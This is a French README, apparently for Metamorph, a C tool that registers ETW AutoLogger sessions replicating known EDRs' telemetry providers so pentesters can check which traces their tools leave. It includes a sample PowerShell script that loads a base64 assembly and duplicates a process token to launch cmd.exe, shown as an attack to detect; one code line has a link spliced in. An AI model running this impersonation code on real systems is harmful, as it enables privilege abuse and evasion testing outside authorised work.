
Un utilitaire en ligne de commande pour Windows, écrit en C, qui crée et configure des sessions AutoLogger persistantes pour le suivi d'événements Windows (ETW).
Cet outil est un utilitaire en ligne de commande pour Windows écrit en C qui crée et configure des sessions AutoLogger persistantes d'Event Tracing for Windows (ETW). Les AutoLoggers démarrent automatiquement le suivi de fournisseurs ETW spécifiques au démarrage du système, ce qui les rend utiles pour capturer les événements qui se produisent tôt dans le processus de démarrage ou pour des scénarios de surveillance continue.
Cet outil permet de sélectionner des listes prédéfinies de fournisseurs ETW associés à des EDR connus à inclure dans la session AutoLogger via des arguments de ligne de commande. Il fusionne les configurations si le même fournisseur est inclus dans plusieurs listes sélectionnées, garantissant que le niveau de journalisation le plus élevé est utilisé et que les indicateurs de mots-clés sont combinés de manière appropriée pour maximiser la couverture des événements en fonction des listes sélectionnées.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\Metamorph).-Defender, -Crowdstrike, -MDE, -Sentinelone, -Cortex).-All).-noisy)Level le plus élevé spécifié parmi tous les doublons pour un fournisseur.MatchAnyKeyword à l'aide d'un OU bit à bit de tous les doublons (quel que soit le niveau) pour garantir la couverture de mots-clés la plus large.MatchAllKeyword de l'entrée de configuration qui a fourni le niveau le plus élevé.Vous avez besoin d'un compilateur C, comme celui inclus avec Visual Studio.
Il n'y a pas d'imports non standard, la compilation avec Cl devrait donc être possible sans trop de difficultés.
Important : Cet outil modifie le registre Windows (HKEY_LOCAL_MACHINE) et nécessite donc des privilèges d'administrateur pour fonctionner correctement.
.\Metamorph.exe <options>
# Enable only providers from Defender
.\Metamorph.exe -Defender
# Enable providers from Defender and MDE, merging duplicates
.\Metamorph.exe -Defender -MDE
# Enable all providers from all engines, merging duplicates
.\Metamorph.exe -All
# Enabling one provider, also with noisy ones, because why not filling disk space after all?
.\Metamorph.exe -All -noisy
Après l'initialisation, un redémarrage doit avoir lieu pour démarrer le fournisseur nouvellement enregistré.
Pour nettoyer ce fournisseur, il faut :
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\Metamorph)ETW offre une visibilité approfondie sur les événements d'exécution. Cela peut être utilisé pour détecter des activités potentiellement suspectes qui pourraient indiquer une activité malveillante ou des techniques d'obfuscation. Une fois installés, les fournisseurs devraient fournir le même niveau de télémétrie « Event log » que l'EDR « cloné ». Cela devrait ensuite faciliter la recherche d'IOC qui pourraient être laissés par des outils internes.
Après le redémarrage du système et l'exécution des applications d'intérêt, le fichier .etl (par exemple, Metamorph.etl) contiendra les événements capturés.
Le fichier généré (C:\Windows\System32\LogFiles\WMI\Metamorph.etl.00x) peut être ingéré par plusieurs outils publics comme :
Nota bene : Metamorph utilise des fichiers journaux circulaires pour éviter de le perdre accidentellement après un redémarrage, mais certains outils nécessitent que le fichier se termine par .etl, vous devrez donc supprimer le suffixe avant utilisation.
Il est également possible de convertir le fichier .etl en fichier CSV pour un grep grossier :
tracerpt MyKeywordMergedETWLogger.etl -o logdump.csv -of CSV
Supposons que nous ayons le programme PowerShell suivant qui charge un fichier à l'aide d'Assembly.Load :
[Reflection.Assembly]:https://raw.githubusercontent.com/synacktiv/metamorph/HEAD/:Load(%5BSystem.Convert%5D::FromBase64String(%22TVqQAAMAAAAEAAAA/8AALgAAAAAAAAAQAAAAAA%5B...%5DAAAAAAAAAAAAA%22))
#Récupération du handle sur le process cible
$ProcessDesiredAccess = 0x00000400
$InheritHandle = 0
$ProcessId = $PID
$hProcess = [api32.run]::OpenProcess($ProcessDesiredAccess, $InheritHandle, $ProcessId)
if($hProcess -eq 0){ Write-Output "OpenProcess Error" }
#Récupération du handle sur le token du process cible
$hToken = [IntPtr]::Zero
$TokenDesiredAccess = 0x00000006
$Success = [api32.run]::OpenProcessToken($hProcess, $TokenDesiredAccess, [ref]$hToken)
if(-not $Success){ Write-Output "OpenProcessToken Error" }
#Duplication du token
$DesiredAccess = 0x10000000
$SecurityAttribute = New-Object api32.run+_SECURITY_ATTRIBUTES
$SecurityAttribute.lpSecurityDescriptor = [IntPtr]::Zero
$SecurityAttribute.bInheritHandle = $true
$ImpersonationLevel = 3
$TokenType = 1
$hDuplicatedToken = [IntPtr]::Zero
$Success = [api32.run]::DuplicateTokenEx($hToken, $DesiredAccess,[ref]$SecurityAttribute, $ImpersonationLevel, $TokenType,[ref]$hDuplicatedToken)
if(-not $Success) { Write-Debug "DuplicateTokenEx Error" }
#Creation du cmd avec le token dupliqué
$LogonFlags = 0
$ApplicationName = "cmd.exe"
$CommandLine = "/K whoami /all"
$CreationFlags = 0x00000010
$Environnement = [IntPtr]::Zero
$CurrentDirectory = "c:\windows\system32"
$StartUpinformation = New-Object api32.run+STARTUPINFOA
$ProcessInformation = New-Object api32.run+_PROCESS_INFORMATION
$Success = [api32.run]::CreateProcessWithTokenW($hDuplicatedToken, $LogonFlags,$ApplicationName, $CommandLine, $CreationFlags, $Environnement, $CurrentDirectory, [ref]$StartUpinformation,[ref]$ProcessInformation)
if(-not $Success) { Write-Debug "CreateProcessWithTokenW Error" }
Ce script effectue essentiellement une attaque comme celle qui pourrait être réalisée par l'outil impersonate.exe.




Au final, les EDR et les analystes ont la possibilité d'effectuer une analyse de signatures basée sur AssemblyName pour les binaires connus (comme : "Rubeus") et, dans le cas contraire, ils ont la possibilité de récupérer les scripts PowerShell (y compris les commentaires) pour une analyse post-mortem.
Si vous trouvez cet outil utile, vous pouvez ajouter vos propres solutions (ou celles d'autres) en suivant les instructions dans CONTRIBUTING.md. J'essaierai de le mettre à jour régulièrement, mais comme cela dépendra entièrement des solutions rencontrées lors de pentests, n'hésitez pas à soumettre une PR si vous souhaitez que vos modifications soient disponibles pour tout le monde.